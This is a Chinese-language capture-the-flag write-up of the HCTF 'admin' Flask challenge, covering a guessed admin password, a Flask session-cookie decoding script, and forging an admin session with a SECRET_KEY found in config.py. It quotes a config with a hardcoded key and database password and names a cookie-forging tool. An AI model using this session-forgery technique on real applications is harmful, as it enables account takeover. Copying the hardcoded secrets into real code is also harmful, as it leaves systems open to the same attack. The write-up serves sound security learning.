第一步打开网址,就一个欢迎界面 旁边下拉菜单有个登录和注册界面
查看一下源码
有个注释 应该是提示我们用admin账号登录
先随便注册一个账号看看 登录成功后有三个界面
随便看了看 先去登录注册页面试试有什么注入没有
在注册界面试了一下约束攻击,密码随便输了一个123 — 这时的我还不明白事情的严重性
报错了 ,好像没行。不过这界面还能运行python
可以看见一些东西 ,感觉这好像可以利用的样子,不过对我来说应该太难了,先看看别处
返回登录界面 顺手把admin 123 试了一下
卧槽 进去了???
此刻我有点蒙蔽,咋回事,难道注入成功了?不是报错了吗, 然后我又去试了一试,密码换了一个,果然,不行,看来就是admin的密码是123了。 /吐血
可以在这提建议嘛 既然知识点不是爆破 就把密码设复杂点好吧。。。
就这样把 看大佬的wp去吧
大佬说有三种解法 我就试了第一个
flask session
伪造 unicode欺骗
条件竞争
原来在修改密码那可以看见源码的网址
解法一:flask session伪造
关于 flask 的 session 机制,可以参考这篇文章:flask 源码解析:session
关于客户端 session 问题,可以参考这篇文章:客户端 session 导致的安全问题
解密的代码
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
indexheml
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {
{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>
{% include('footer.html') %}
可以看见需要session name为admin时可以显示flag
想要伪造session我们还需要SECRET_KEY,在config.py里可以找到key
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True
flask session加密的脚本
https://github.com/noraj/flask-session-cookie-manager
把session通过SECRET_KEY加密
然后修改请求发送请求 得到flag
只测试了解法一,解二就没去试了,解三据说只是理论
不过在查资料的时候发现这个框架还存在验证码泄漏的问题
在注册界面拿到session
解密
可以看见验证码就在session里面